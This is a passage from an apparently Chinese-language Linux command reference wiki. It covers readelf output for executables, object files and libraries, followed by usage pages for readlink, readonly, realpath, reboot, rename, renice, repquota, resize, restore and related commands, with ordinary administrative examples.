[root@localhost test]$ ar -r libmy.a myfile.o 
ar: creating libmy.a 
```

3)编译之后,查看生成的文件: 

[root@localhost test]$ ls -l 

总计 44 

```
-rw-r--r-- 1 quietheart quietheart 2154 07-08 16:14 libmy.a 
-rwxr-xr-x 1 quietheart quietheart 5707 07-08 16:08 libmy.so 
-rwxr-xr-x 1 quietheart quietheart  117 07-08 16:06 myfile.cpp 
-rwxr-xr-x 1 quietheart quietheart   63 07-08 16:08 myfile.h 
-rw-r--r-- 1 quietheart quietheart 2004 07-08 16:08 myfile.o 
libmy.a  libmy.so  myfile.cpp  myfile.h  myfile.o 
```

这里,分别生成目标文件myfile.o,共享库文件libmy.so,和静态库文件libmy.a。 

基于以上可执行文件和库,这里给出一些常用的命令。 

 "读取可执行文件形式的elf文件头信息:" 

```
[root@localhost test]$ readelf -h main 
ELF Header: 
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32 
  Data:                              2's complement, little endian 
  Version:                           1 (current) 
  OS/ABI:                            UNIX - System V 
  ABI Version:                       0 
  type:                              exec (Executable file) 
  Machine:                           Intel 80386 
  Version:                           0x1 
  Entry point address:               0x8048580 
  Start of program headers:          52 (bytes into file) 
  Start of section headers:          3232 (bytes into file) 
  Flags:                             0x0 
  Size of this header:               52 (bytes) 
  Size of program headers:           32 (bytes) 
  Number of program headers:         8 
  Size of section headers:           40 (bytes) 
  Number of section headers:         29 
  Section header string table index: 26 
```

这里,可见可执行文件的elf文件,其类型为EXEC(可执行文件)。另外,含调试信息的"main.debug"和不含调试信息的"main"除了一些大小信息之外,其内容是一样的。并且由此可见文件的体系结构为Intel 80386。 

 "读取目标文件形式的elf文件头信息:" 

```
[root@localhost test]$ readelf -h myfile.o 
ELF Header: 
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32 
  Data:                              2's complement, little endian 
  Version:                           1 (current) 
  OS/ABI:                            UNIX - System V 
  ABI Version:                       0 
  Type:                              REL (Relocatable file) 
  Machine:                           Intel 80386 
  Version:                           0x1 
  Entry point address:               0x0 
  Start of program headers:          0 (bytes into file) 
  Start of section headers:          516 (bytes into file) 
  Flags:                             0x0 
  Size of this header:               52 (bytes) 
  Size of program headers:           0 (bytes) 
  Number of program headers:         0 
  Size of section headers:           40 (bytes) 
  Number of section headers:         15 
  Section header string table index: 12 
```

这里,可见目标文件的elf文件,其类型为REL(可重定位文件)。 

 "读取静态库文件形式的elf文件头信息:" 

```
[root@localhost test]$ readelf -h libmy.a 
File: libmy.a(myfile.o) 
ELF Header: 
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32 
  Data:                              2's complement, little endian 
  Version:                           1 (current) 
  OS/ABI:                            UNIX - System V 
  ABI Version:                       0 
  Type:                              REL (Relocatable file) 
  Machine:                           Intel 80386 
  Version:                           0x1 
  Entry point address:               0x0 
  Start of program headers:          0 (bytes into file) 
  Start of section headers:          516 (bytes into file) 
  Flags:                             0x0 
  Size of this header:               52 (bytes) 
  Size of program headers:           0 (bytes) 
  Number of program headers:         0 
  Size of section headers:           40 (bytes) 
  Number of section headers:         15 
  Section header string table index: 12 
```

这里,可见静态库文件的elf文件,其类型为REL(可重定位文件)。 

 "读取动态库文件形式的elf文件头信息:" 

```
[root@localhost test]$ readelf -h libmy.so 
ELF Header: 
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32 
  Data:                              2's complement, little endian 
  Version:                           1 (current) 
  OS/ABI:                            UNIX - System V 
  ABI Version:                       0 
  Type:                              DYN (Shared object file) 
  Machine:                           Intel 80386 
  Version:                           0x1 
  Entry point address:               0x550 
  Start of program headers:          52 (bytes into file) 
  Start of section headers:          2768 (bytes into file) 
  Flags:                             0x0 
  Size of this header:               52 (bytes) 
  Size of program headers:           32 (bytes) 
  Number of program headers:         5 
  Size of section headers:           40 (bytes) 
  Number of section headers:         27 
  Section header string table index: 24 
```

这里,可见动态库文件的elf文件,其类型为DYN(共享目标文件)。 

 "查看可执行的elf文件程序头表信息:" 

```
[root@localhost test]$ readelf -l main 
Elf file type is EXEC (Executable file) 
Entry point 0x8048580 
There are 8 program headers, starting at offset 52 

Program Headers: 
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align 
  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4 
  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1 
      Requesting program interpreter: /lib/[ld-linux.so.2] 
  LOAD           0x000000 0x08048000 0x08048000 0x00970 0x00970 R E 0x1000 
  LOAD           0x000970 0x08049970 0x08049970 0x00130 0x001c8 RW  0x1000 
  DYNAMIC        0x000988 0x08049988 0x08049988 0x000e0 0x000e0 RW  0x4 
  NOTE           0x000148 0x08048148 0x08048148 0x00020 0x00020 R   0x4 
  GNU_EH_FRAME   0x000820 0x08048820 0x08048820 0x00044 0x00044 R   0x4 
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4 

Section to Segment mapping: 
  Segment Sections... 
   00     
   01     .interp 
   02     .interp .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .ctors .dtors .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag 
   06     .eh_frame_hdr 
   07     
```

这里,含调试信息的"main.debug"和不含调试信息的"main"其内容是一样的。 

 "查看目标文件的elf文件程序头表信息: " 

```
[root@localhost test]$ readelf -l myfile.o 
There are no program headers in this file. 
```

这里可知,可重定位的目标文件,它没程序头表。 

 "查看静态库文件的elf文件程序头表信息:" 

```
[root@localhost test]$ readelf -l libmy.a 
File: libmy.a(myfile.o) 
There are no program headers in this file. 
```

这里可知,可重定位的静态库文件,它没程序头表。 

 "查看动态库文件的elf文件程序头表信息:" 

```
[root@localhost test]$ readelf -l libmy.so 
Elf file type is DYN (Shared object file) 
Entry point 0x550 
There are 5 program headers, starting at offset 52 

Program Headers: 
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align 
  LOAD           0x000000 0x00000000 0x00000000 0x007f4 0x007f4 R E 0x1000 
  LOAD           0x0007f4 0x000017f4 0x000017f4 0x0011c 0x00128 RW  0x1000 
  DYNAMIC        0x000810 0x00001810 0x00001810 0x000e0 0x000e0 RW  0x4 
  GNU_EH_FRAME   0x000738 0x00000738 0x00000738 0x0002c 0x0002c R   0x4 
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4 

Section to Segment mapping: 
  Segment Sections... 
   00     .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   01     .ctors .dtors .jcr .data.rel.ro .dynamic .got .got.plt .bss 
   02     .dynamic 
   03     .eh_frame_hdr 
   04     
```

这里可知,做为共享目标文件的动态库,它程序头表。 

 "查看一个可执行的elf文件的节信息:" 

```
[root@localhost test]$ readelf -S main 
There are 29 section headers, starting at offset 0xca0: 
Section Headers: 
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1 
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4 
  [ 3] .gnu.hash         GNU_HASH        08048168 000168 000030 04   A  4   0  4 
  [ 4] .dynsym           DYNSYM          08048198 000198 0000d0 10   A  5   1  4 
  [ 5] .dynstr           STRTAB          08048268 000268 000183 00   A  0   0  1 
  [ 6] .gnu.version      VERSYM          080483ec 0003ec 00001a 02   A  4   0  2 
  [ 7] .gnu.version_r    VERNEED         08048408 000408 000060 00   A  5   2  4 
  [ 8] .rel.dyn          REL             08048468 000468 000010 08   A  4   0  4 
  [ 9] .rel.plt          REL             08048478 000478 000048 08   A  4  11  4 
  [10] .init             PROGBITS        080484c0 0004c0 000017 00  AX  0   0  4 
  [11] .plt              PROGBITS        080484d8 0004d8 0000a0 04  AX  0   0  4 
  [12] .text             PROGBITS        08048580 000580 000268 00  AX  0   0 16 
  [13] .fini             PROGBITS        080487e8 0007e8 00001c 00  AX  0   0  4 
  [14] .rodata           PROGBITS        08048804 000804 00001a 00   A  0   0  4 
  [15] .eh_frame_hdr     PROGBITS        08048820 000820 000044 00   A  0   0  4 
  [16] .eh_frame         PROGBITS        08048864 000864 00010c 00   A  0   0  4 
  [17] .ctors            PROGBITS        08049970 000970 00000c 00  WA  0   0  4 
  [18] .dtors            PROGBITS        0804997c 00097c 000008 00  WA  0   0  4 
  [19] .jcr              PROGBITS        08049984 000984 000004 00  WA  0   0  4 
  [20] .dynamic          DYNAMIC         08049988 000988 0000e0 08  WA  5   0  4 
  [21] .got              PROGBITS        08049a68 000a68 000004 04  WA  0   0  4 
  [22] .got.plt          PROGBITS        08049a6c 000a6c 000030 04  WA  0   0  4 
  [23] .data             PROGBITS        08049a9c 000a9c 000004 00  WA  0   0  4 
  [24] .bss              NOBITS          08049aa0 000aa0 000098 00  WA  0   0  8 
  [25] .comment          PROGBITS        00000000 000aa0 000114 00      0   0  1 
  [26] .shstrtab         STRTAB          00000000 000bb4 0000e9 00      0   0  1 
  [27] .symtab           SYMTAB          00000000 001128 000510 10     28  53  4 
  [28] .strtab           STRTAB          00000000 001638 0003f4 00      0   0  1 
Key to Flags: 
  W (write), A (alloc), X (execute), M (merge), S (strings) 
  I (info), L (link order), G (group), x (unknown) 
  O (extra OS processing required) o (OS specific), p (processor specific) 
```

这里,main是可执行文件,不含调试信息。 

 "查看一个包含调试信息的可执行的elf文件的节信息:" 

```
[root@localhost test]$ readelf -S main.debug 
There are 37 section headers, starting at offset 0x88c8: 

Section Headers: 
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1 
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4 
  [ 3] .gnu.hash         GNU_HASH        08048168 000168 000030 04   A  4   0  4 
  [ 4] .dynsym           DYNSYM          08048198 000198 0000d0 10   A  5   1  4 
  [ 5] .dynstr           STRTAB          08048268 000268 000183 00   A  0   0  1 
  [ 6] .gnu.version      VERSYM          080483ec 0003ec 00001a 02   A  4   0  2 
  [ 7] .gnu.version_r    VERNEED         08048408 000408 000060 00   A  5   2  4 
  [ 8] .rel.dyn          REL             08048468 000468 000010 08   A  4   0  4 
  [ 9] .rel.plt          REL             08048478 000478 000048 08   A  4  11  4 
  [10] .init             PROGBITS        080484c0 0004c0 000017 00  AX  0   0  4 
  [11] .plt              PROGBITS        080484d8 0004d8 0000a0 04  AX  0   0  4 
  [12] .text             PROGBITS        08048580 000580 000268 00  AX  0   0 16 
  [13] .fini             PROGBITS        080487e8 0007e8 00001c 00  AX  0   0  4 
  [14] .rodata           PROGBITS        08048804 000804 00001a 00   A  0   0  4 
  [15] .eh_frame_hdr     PROGBITS        08048820 000820 000044 00   A  0   0  4 
  [16] .eh_frame         PROGBITS        08048864 000864 00010c 00   A  0   0  4 
  [17] .ctors            PROGBITS        08049970 000970 00000c 00  WA  0   0  4 
  [18] .dtors            PROGBITS        0804997c 00097c 000008 00  WA  0   0  4 
  [19] .jcr              PROGBITS        08049984 000984 000004 00  WA  0   0  4 
  [20] .dynamic          DYNAMIC         08049988 000988 0000e0 08  WA  5   0  4 
  [21] .got              PROGBITS        08049a68 000a68 000004 04  WA  0   0  4 
  [22] .got.plt          PROGBITS        08049a6c 000a6c 000030 04  WA  0   0  4 
  [23] .data             PROGBITS        08049a9c 000a9c 000004 00  WA  0   0  4 
  [24] .bss              NOBITS          08049aa0 000aa0 000098 00  WA  0   0  8 
  [25] .comment          PROGBITS        00000000 000aa0 000114 00      0   0  1 
  [26] .debug_aranges    PROGBITS        00000000 000bb4 000020 00      0   0  1 
  [27] .debug_pubnames   PROGBITS        00000000 000bd4 000028 00      0   0  1 
  [28] .debug_info       PROGBITS        00000000 000bfc 0067aa 00      0   0  1 
  [29] .debug_abbrev     PROGBITS        00000000 0073a6 000726 00      0   0  1 
  [30] .debug_line       PROGBITS        00000000 007acc 0003e1 00      0   0  1 
  [31] .debug_frame      PROGBITS        00000000 007eb0 00009c 00      0   0  4 
  [32] .debug_str        PROGBITS        00000000 007f4c 000735 00      0   0  1 
  [33] .debug_loc        PROGBITS        00000000 008681 0000f3 00      0   0  1 
  [34] .shstrtab         STRTAB          00000000 008774 000151 00      0   0  1 
  [35] .symtab           SYMTAB          00000000 008e90 000590 10     36  61  4 
  [36] .strtab           STRTAB          00000000 009420 0003f4 00      0   0  1 
Key to Flags: 
  W (write), A (alloc), X (execute), M (merge), S (strings) 
  I (info), L (link order), G (group), x (unknown) 
  O (extra OS processing required) o (OS specific), p (processor specific) 
```

可见,相对非调试版本的可执行文件,多了".debug*"段的信息。 

 "查看一个目标文件的elf文件的节信息:" 

```
[root@localhost test]$ readelf -S myfile.o 
There are 15 section headers, starting at offset 0x204: 

Section Headers: 
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
  [ 1] .text             PROGBITS        00000000 000034 00009e 00  AX  0   0  4 
  [ 2] .rel.text         REL             00000000 000744 000060 08     13   1  4 
  [ 3] .data             PROGBITS        00000000 0000d4 000000 00  WA  0   0  4 
  [ 4] .bss              NOBITS          00000000 0000d4 000001 00  WA  0   0  4 
  [ 5] .ctors            PROGBITS        00000000 0000d4 000004 00  WA  0   0  4 
  [ 6] .rel.ctors        REL             00000000 0007a4 000008 08     13   5  4 
  [ 7] .rodata           PROGBITS        00000000 0000d8 000006 00   A  0   0  1 
  [ 8] .eh_frame         PROGBITS        00000000 0000e0 00008c 00   A  0   0  4 
  [ 9] .rel.eh_frame     REL             00000000 0007ac 000028 08     13   8  4 
  [10] .comment          PROGBITS        00000000 00016c 00002e 00      0   0  1 
  [11] .note.GNU-stack   PROGBITS        00000000 00019a 000000 00      0   0  1 
  [12] .shstrtab         STRTAB          00000000 00019a 00006a 00      0   0  1 
  [13] .symtab           SYMTAB          00000000 00045c 000180 10     14  14  4 
  [14] .strtab           STRTAB          00000000 0005dc 000166 00      0   0  1 
Key to Flags: 
  W (write), A (alloc), X (execute), M (merge), S (strings) 
  I (info), L (link order), G (group), x (unknown) 
  O (extra OS processing required) o (OS specific), p (processor specific) 


```

 "查看一个静态库文件的elf文件的节信息:" 

```
[root@localhost test]$ readelf -S libmy.a 
File: libmy.a(myfile.o) 
There are 15 section headers, starting at offset 0x204: 

Section Headers: 
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
  [ 1] .text             PROGBITS        00000000 000034 00009e 00  AX  0   0  4 
  [ 2] .rel.text         REL             00000000 000744 000060 08     13   1  4 
  [ 3] .data             PROGBITS        00000000 0000d4 000000 00  WA  0   0  4 
  [ 4] .bss              NOBITS          00000000 0000d4 000001 00  WA  0   0  4 
  [ 5] .ctors            PROGBITS        00000000 0000d4 000004 00  WA  0   0  4 
  [ 6] .rel.ctors        REL             00000000 0007a4 000008 08     13   5  4 
  [ 7] .rodata           PROGBITS        00000000 0000d8 000006 00   A  0   0  1 
  [ 8] .eh_frame         PROGBITS        00000000 0000e0 00008c 00   A  0   0  4 
  [ 9] .rel.eh_frame     REL             00000000 0007ac 000028 08     13   8  4 
  [10] .comment          PROGBITS        00000000 00016c 00002e 00      0   0  1 
  [11] .note.GNU-stack   PROGBITS        00000000 00019a 000000 00      0   0  1 
  [12] .shstrtab         STRTAB          00000000 00019a 00006a 00      0   0  1 
  [13] .symtab           SYMTAB          00000000 00045c 000180 10     14  14  4 
  [14] .strtab           STRTAB          00000000 0005dc 000166 00      0   0  1 
Key to Flags: 
  W (write), A (alloc), X (execute), M (merge), S (strings) 
  I (info), L (link order), G (group), x (unknown) 
  O (extra OS processing required) o (OS specific), p (processor specific) 
```

 "查看一个动态库文件的elf文件的节信息:" 

```
[root@localhost test]$ readelf -S libmy.so 
There are 27 section headers, starting at offset 0xad0: 

Section Headers: 
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al 
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0 
  [ 1] .gnu.hash         GNU_HASH        000000d4 0000d4 00003c 04   A  2   0  4 
  [ 2] .dynsym           DYNSYM          00000110 000110 000120 10   A  3   1  4 
  [ 3] .dynstr           STRTAB          00000230 000230 000199 00   A  0   0  1 
  [ 4] .gnu.version      VERSYM          000003ca 0003ca 000024 02   A  2   0  2 
  [ 5] .gnu.version_r    VERNEED         000003f0 0003f0 000050 00   A  3   2  4 
  [ 6] .rel.dyn          REL             00000440 000440 0000b0 08   A  2   0  4 
  [ 7] .rel.plt          REL             000004f0 0004f0 000010 08   A  2   9  4 
  [ 8] .init             PROGBITS        00000500 000500 000017 00  AX  0   0  4 
  [ 9] .plt              PROGBITS        00000518 000518 000030 04  AX  0   0  4 
  [10] .text             PROGBITS        00000550 000550 0001c4 00  AX  0   0 16 
  [11] .fini             PROGBITS        00000714 000714 00001c 00  AX  0   0  4 
  [12] .rodata           PROGBITS        00000730 000730 000006 00   A  0   0  1 
  [13] .eh_frame_hdr     PROGBITS        00000738 000738 00002c 00   A  0   0  4 
  [14] .eh_frame         PROGBITS        00000764 000764 000090 00   A  0   0  4 
  [15] .ctors            PROGBITS        000017f4 0007f4 00000c 00  WA  0   0  4 
  [16] .dtors            PROGBITS        00001800 000800 000008 00  WA  0   0  4 
  [17] .jcr              PROGBITS        00001808 000808 000004 00  WA  0   0  4 
  [18] .data.rel.ro      PROGBITS        0000180c 00080c 000004 00  WA  0   0  4 
  [19] .dynamic          DYNAMIC         00001810 000810 0000e0 08  WA  3   0  4 
  [20] .got              PROGBITS        000018f0 0008f0 00000c 04  WA  0   0  4 
  [21] .got.plt          PROGBITS        000018fc 0008fc 000014 04  WA  0   0  4 
  [22] .bss              NOBITS          00001910 000910 00000c 00  WA  0   0  4 
  [23] .comment          PROGBITS        00000000 000910 0000e6 00      0   0  1 
  [24] .shstrtab         STRTAB          00000000 0009f6 0000da 00      0   0  1 
  [25] .symtab           SYMTAB          00000000 000f08 000410 10     26  48  4 
  [26] .strtab           STRTAB          00000000 001318 000333 00      0   0  1 
Key to Flags: 
  W (write), A (alloc), X (execute), M (merge), S (strings) 
  I (info), L (link order), G (group), x (unknown) 
  O (extra OS processing required) o (OS specific), p (processor specific) 
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* help <pre>

```
Usage: readlink [OPTION]... FILE...
Print value of a symbolic link or canonical file name

  -f, --canonicalize            canonicalize by following every symlink in
                                every component of the given name recursively;
                                all but the last component must exist
  -e, --canonicalize-existing   canonicalize by following every symlink in
                                every component of the given name recursively,
                                all components must exist
  -m, --canonicalize-missing    canonicalize by following every symlink in
                                every component of the given name recursively,
                                without requirements on components existence
  -n, --no-newline              do not output the trailing delimiter
  -q, --quiet,
  -s, --silent                  suppress most error messages
  -v, --verbose                 report error messages
  -z, --zero                    separate output with NUL rather than newline
      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'readlink invocation'
```
</pre>


* exp<pre>

```bash
[root@qs02 ~]# ll /etc/grub2.cfg
lrwxrwxrwx 1 root root 22 Apr 14 21:09 /etc/grub2.cfg -> ../boot/grub2/grub.cfg

[root@qs02 ~]# readlink /etc/grub2.cfg
../boot/grub2/grub.cfg

[root@qs02 ~]# realpath /etc/grub2.cfg
/boot/grub2/grub.cfg

[root@qs02 ~]#

```
</pre>
!!简介
:<div>
readonly
===

定义只读shell变量或函数

</div>

!! 补充说明

:<div>


"readonly命令" 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。

</div>

!! 语法  

:<div>


```
readonly(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:定义只读函数;
-a:定义只读数组变量;
-p:显示系统中全部只读变量列表。
```

</div>

!! 参数  

:<div>


变量定义:定义变量,格式为“变量名=‘变量值’”。

</div>

!! 实例  

:<div>


使用readonly命令显示系统中所有的已经定义的只读变量,输入如下命令:

```
[root@localhost ~]# readonly     #显示只读变量
declare -ar BASH_VERSINFO='([0]="3" [1]="2" [2]="25" [3]="1" [4]="release" [5]="i686-redhat-linux-gnu")'
declare -ir EUID="0"
declare -ir PPID="31436"
declare -r SHELLOPTS="braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor"
declare -ir UID="0"
```

对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令:

```
[root@localhost ~]# readonly test='ok'        #定义只读变量并初始化 
```

那么当用户直接修改该只读变量时,就会被报错,如下所示:

```
[root@localhost ~]# test='my'                 #试图修改只读变量的值
-bash: test: readonly variable
```

当用户试图修改只读变量的值时,会被提示该变量为只读变量。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* help<pre>

Usage: realpath [OPTION]... FILE...
Print the resolved absolute file name;
all but the last component must exist

  -e, --canonicalize-existing  all components of the path must exist
  -m, --canonicalize-missing   no components of the path need exist
  -L, --logical                resolve '..' components before symlinks
  -P, --physical               resolve symlinks as encountered (default)
  -q, --quiet                  suppress most error messages
      --relative-to=FILE       print the resolved path relative to FILE
      --relative-base=FILE     print absolute paths unless paths below FILE
  -s, --strip, --no-symlinks   don't expand symlinks
  -z, --zero                   separate output with NUL rather than newline

      --help     display this help and exit
      --version  output version information and exit

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
For complete documentation, run: info coreutils 'realpath invocation'
</pre>

* exp
   [[readlink]]
```
NAME
       halt, poweroff, reboot - Halt, power-off or reboot the machine

SYNOPSIS
       halt [OPTIONS...]

       poweroff [OPTIONS...]

       reboot [OPTIONS...]

DESCRIPTION
       halt, poweroff, reboot may be used to halt, power-off or reboot the machine.

OPTIONS
       The following options are understood:

       --help
           Print a short help text and exit.

       --halt
           Halt the machine, regardless of which one of the three commands is invoked.

       -p, --poweroff
           Power-off the machine, regardless of which one of the three commands is invoked.

       --reboot
           Reboot the machine, regardless of which one of the three commands is invoked.

       -f, --force
           Force immediate halt, power-off, or reboot. When specified once, this results in an immediate but clean shutdown by
           the system manager. When specified twice, this results in an immediate shutdown without contacting the system manager.
           See the description of --force in systemctl(1) for more details.

       -w, --wtmp-only
           Only write wtmp shutdown entry, do not actually halt, power-off, reboot.

       -d, --no-wtmp
           Do not write wtmp shutdown entry.

       --no-wall
           Do not send wall message before halt, power-off, reboot.

EXIT STATUS
       On success, 0 is returned, a non-zero failure code otherwise.

NOTES
       These are legacy commands available for compatibility only.

SEE ALSO
       systemd(1), systemctl(1), shutdown(8), wall(1)

```

systemclt --force

```
       -f, --force
           When used with enable, overwrite any existing conflicting symlinks.

           When used with halt, poweroff, reboot or kexec, execute the selected operation without shutting down all units.
           However, all processes will be killed forcibly and all file systems are unmounted or remounted read-only. This is
           hence a drastic but relatively safe option to request an immediate reboot. If --force is specified twice for these
           operations, they will be executed immediately without terminating any processes or unmounting any file systems.
           Warning: specifying --force twice with any of these operations might result in data loss.
```


exp


```bash
# reboot
# Reboot the system.

# Reboot immediately:
reboot

# Reboot immediately without gracefully shutdown:
reboot -f

# Reboot without reboot
echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger
```

!!简介
:<div>
reject
===

指示打印系统拒绝发往指定目标打印机的打印任务

</div>

!! 补充说明

:<div>


"reject命令" 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。

</div>

!! 语法  

:<div>


```
reject(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-h:指定连接服务器名和端口号;
-r:指定拒绝打印任务的原因。
```

</div>

!! 参数  

:<div>


目标:指定目标打印机。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* NAME<pre>
       rename - rename files
</pre>
* SYNOPSIS<pre>
       rename [options] expression replacement file...
</pre>
*DESCRIPTION<pre>
       rename  will  rename  the specified files by replacing the first occurrence of expression in their name by replacement.
</pre>
* OPTIONS<pre>
       -v, --verbose
              Give visual feedback which files where renamed, if any.

       -V, --version
              Display version information and exit.

       -s, --symlink
              Peform rename on symlink target

       -h, --help
              Display help text and exit.
</pre>

* EXAMPLES<pre>

```bash
       # Given the files foo1, ..., foo9, foo10, ..., foo278, the commands

              rename foo foo0 foo?
              rename foo foo0 foo??

       # will turn them into foo001, ..., foo009, foo010, ..., foo278.  And

              rename .htm .html *.htm

       # will fix the extension of your html files.
```
</pre>
!!简介
:<div>
renice
===

修改正在运行的进程的调度优先级

</div>

!! 补充说明

:<div>


"renice命令" 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。

</div>

!! 语法  

:<div>


```
renice(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-g:指定进程组id;
-p<程序识别码>:改变该程序的优先权等级,此参数为预设值。
-u:指定开启进程的用户名。
```

</div>

!! 参数  

:<div>


进程号:指定要修改优先级的进程。

</div>

!! 实例  

:<div>


将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1:

```
renice 1 987 -u daemon root -p 32
```

注意:每一个行程都有一个唯一的id。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
repquota
===

报表的格式输出磁盘空间限制的状态

</div>

!! 补充说明

:<div>


"repquota命令" 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。

</div>

!! 语法  

:<div>


```
repquota(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组;
-g:列出所有群组的磁盘空间限制;
-u:列出所有用户的磁盘空间限制;
-v:显示该用户或群组的所有空间限制。
```

</div>

!! 参数  

:<div>


文件系统:要打印报表的文件系统或者对应的设备文件名。

</div>

!! 实例  

:<div>


显示所有文件系统的磁盘使用情况

```
repquota -a
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* help <pre>

```
NAME
       tset, reset - terminal initialization

Options:
  -c          set control characters
  -e ch       erase character
  -I          no initialization strings
  -i ch       interrupt character
  -k ch       kill character
  -m mapping  map identifier to type
  -Q          do not output control key settings
  -r          display term on stderr
  -s          output TERM set command
  -V          print curses-version
  -w          set window-size

```
<pre>
!!简介
:<div>
resize
===

命令设置终端机视窗的大小。

</div>

!! 补充说明

:<div>


"resize命令" 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。

</div>

!! 语法  

:<div>


```
resize [-cu][-s <列数> <行数>]
```

</div>

!! 选项  

:<div>


```
-c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
-s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。
-u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
```

</div>

!! 实例

:<div>


使用 C shell

```
[root@localhost ~]# resize -c
set noglob;
setenv COLUMNS '99';
setenv LINES '34';
unset noglob;
```


使用 Bourne shell

```
[root@localhost ~]# resize -u
COLUMNS=99;
LINES=34;
export COLUMNS LINES;
```

设置指定大小

```
[root@localhost ~]# resize -s 80 160
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
restore
===

所进行的操作和dump指令相反

</div>

!! 补充说明

:<div>


"restore命令" 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。

</div>

!! 语法  

:<div>


```
restore(选项)
```

</div>

!! 选项  

:<div>


```
-b<区块大小>:设置区块大小,单位为Byte;
-c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件;
-C:使用对比模式,将备份的文件与现行的文件相互对比;
-D<文件系统>:允许用户指定文件系统的名称;
-f<备份文件>:从指定的文件中读取备份数据,进行还原操作;
-h:仅解除目录而不包括与该目录相关的所有文件;
-i:使用互动模式,在进行还原操作时,restore指令将依序询问用户;
-m:解开符合指定的inode编号的文件或目录而非用文件名称指定;
-r:进行还原操作;
-R:全面还原文件系统时,检查应从何处开始进行;
-s<文件编号>:当备份数据超过一卷磁带时,用户可以指定备份文件的编号;
-t:指定文件名称,若该文件已存在备份文件中,则列出它们的名称;
-v:显示指令执行过程;
-x:设置文件名称,且从指定的存储媒体里读入它们,若该文件已存在在备份文件中,则将其还原到文件系统内;
-y:不询问任何问题,一律以同意回答并继续执行指令。
```

</div>

!! 实例  

:<div>


```
dump -9 -u -f /dev/hda3 /home/frank/
```

用restore命令来恢复备份:

```
restore rf /dev/hda3 /home/frank
```

用restore命令来查看备份文件里的文件列表:

```
restore ft /dev/hda3
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
restorecon
===

恢复文件的安全上下文

</div>

!! 补充说明

:<div>


"restorecon命令" 用来恢复SELinux文件属性即恢复文件的安全上下文。

</div>

!! 语法  

:<div>


```
restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...]
```

</div>

!! 选项  

:<div>


```
